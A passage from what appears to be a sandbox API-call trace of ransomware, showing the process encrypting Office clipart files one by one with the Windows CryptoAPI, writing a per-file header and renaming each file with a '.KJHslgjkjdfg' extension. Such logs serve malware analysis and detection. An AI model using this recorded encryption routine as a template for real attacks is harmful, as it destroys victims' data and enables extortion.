lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.817] GetProcessHeap () returned 0x990000 [0191.817] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.kjhslgjkjdfg")) returned 1 [0191.818] CloseHandle (hObject=0x130) returned 1 [0191.818] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0191.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.821] GetProcessHeap () returned 0x990000 [0191.821] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.821] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0191.823] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.823] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.823] GetProcessHeap () returned 0x990000 [0191.823] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.823] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.823] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.823] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.823] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.824] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.824] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.824] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.824] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.824] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.824] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe16, lpOverlapped=0x0) returned 1 [0191.824] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe20, dwBufLen=0xe20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe20) returned 1 [0191.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.824] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe20, lpOverlapped=0x0) returned 1 [0191.825] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.825] SetEndOfFile (hFile=0x130) returned 1 [0191.827] GetProcessHeap () returned 0x990000 [0191.827] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.827] GetProcessHeap () returned 0x990000 [0191.827] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.kjhslgjkjdfg")) returned 1 [0191.829] CloseHandle (hObject=0x130) returned 1 [0191.829] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0191.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.830] GetProcessHeap () returned 0x990000 [0191.830] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.830] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0191.884] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.884] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.884] GetProcessHeap () returned 0x990000 [0191.884] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.884] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.884] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.884] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.884] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.884] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.885] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.885] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.885] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.885] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x23c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x23c2, lpOverlapped=0x0) returned 1 [0191.901] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23d0, dwBufLen=0x23d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23d0) returned 1 [0191.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.901] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x23d0, lpOverlapped=0x0) returned 1 [0191.901] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.901] SetEndOfFile (hFile=0x130) returned 1 [0191.905] GetProcessHeap () returned 0x990000 [0191.905] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.905] GetProcessHeap () returned 0x990000 [0191.905] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.kjhslgjkjdfg")) returned 1 [0191.906] CloseHandle (hObject=0x130) returned 1 [0191.906] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0191.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.907] GetProcessHeap () returned 0x990000 [0191.907] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.907] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.907] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0192.035] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.035] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.035] GetProcessHeap () returned 0x990000 [0192.035] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.035] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.035] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.035] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.035] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.035] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.035] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.035] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.036] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.036] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.036] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd42, lpOverlapped=0x0) returned 1 [0192.036] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd50, dwBufLen=0xd50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd50) returned 1 [0192.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.036] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd50, lpOverlapped=0x0) returned 1 [0192.036] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.036] SetEndOfFile (hFile=0x130) returned 1 [0192.039] GetProcessHeap () returned 0x990000 [0192.039] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.039] GetProcessHeap () returned 0x990000 [0192.039] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.kjhslgjkjdfg")) returned 1 [0192.041] CloseHandle (hObject=0x130) returned 1 [0192.041] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0192.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.042] GetProcessHeap () returned 0x990000 [0192.042] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.042] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.042] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0192.044] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.044] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.044] GetProcessHeap () returned 0x990000 [0192.044] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.044] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.044] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.044] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.045] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.045] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.045] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.045] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.045] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4ae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4ae, lpOverlapped=0x0) returned 1 [0192.045] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b0, dwBufLen=0x4b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b0) returned 1 [0192.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.045] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4b0, lpOverlapped=0x0) returned 1 [0192.046] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.046] SetEndOfFile (hFile=0x130) returned 1 [0192.048] GetProcessHeap () returned 0x990000 [0192.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.048] GetProcessHeap () returned 0x990000 [0192.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.kjhslgjkjdfg")) returned 1 [0192.050] CloseHandle (hObject=0x130) returned 1 [0192.050] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0192.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.051] GetProcessHeap () returned 0x990000 [0192.051] RtlAllocateHeap (HeapHandle=0x990000, 